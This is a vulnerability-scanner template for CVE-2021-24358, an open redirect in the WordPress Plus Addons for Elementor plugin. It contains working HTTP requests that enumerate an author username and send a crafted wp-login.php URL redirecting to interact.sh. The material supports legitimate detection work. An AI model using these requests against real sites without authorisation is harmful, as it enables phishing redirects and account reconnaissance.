CVE-2021-24358: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect

id: CVE-2021-24358

info:
  name: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
  impact: |
    This vulnerability can be exploited by attackers to trick users into visiting malicious websites, leading to potential phishing attacks or the execution of other malicious activities.
  remediation: |
    Upgrade Plus Addons for Elementor Page Builder to version 4.1.10 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24358
    - https://theplusaddons.com/changelog/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24358
    cwe-id: CWE-601
    epss-score: 0.02295
    epss-percentile: 0.82392
    cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: posimyth
    product: the_plus_addons_for_elementor
    framework: wordpress
  tags: cve2021,cve,wp,wpscan,wordpress,redirect,wp-plugin,elementor,posimyth,vuln

http:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body

      - type: regex
        name: username
        group: 1
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
        internal: true
        part: header
# digest: 4a0a0047304502207f04c083c5215a6dc152c1c20f768129cf52af0f00767e9d1a23fcecdd48857b022100a14b6dc11919cb048cacd25acdc1de336270fabee7527c6a0ade01d588520a0d:922c64590222798bb761d5b6d8e72950

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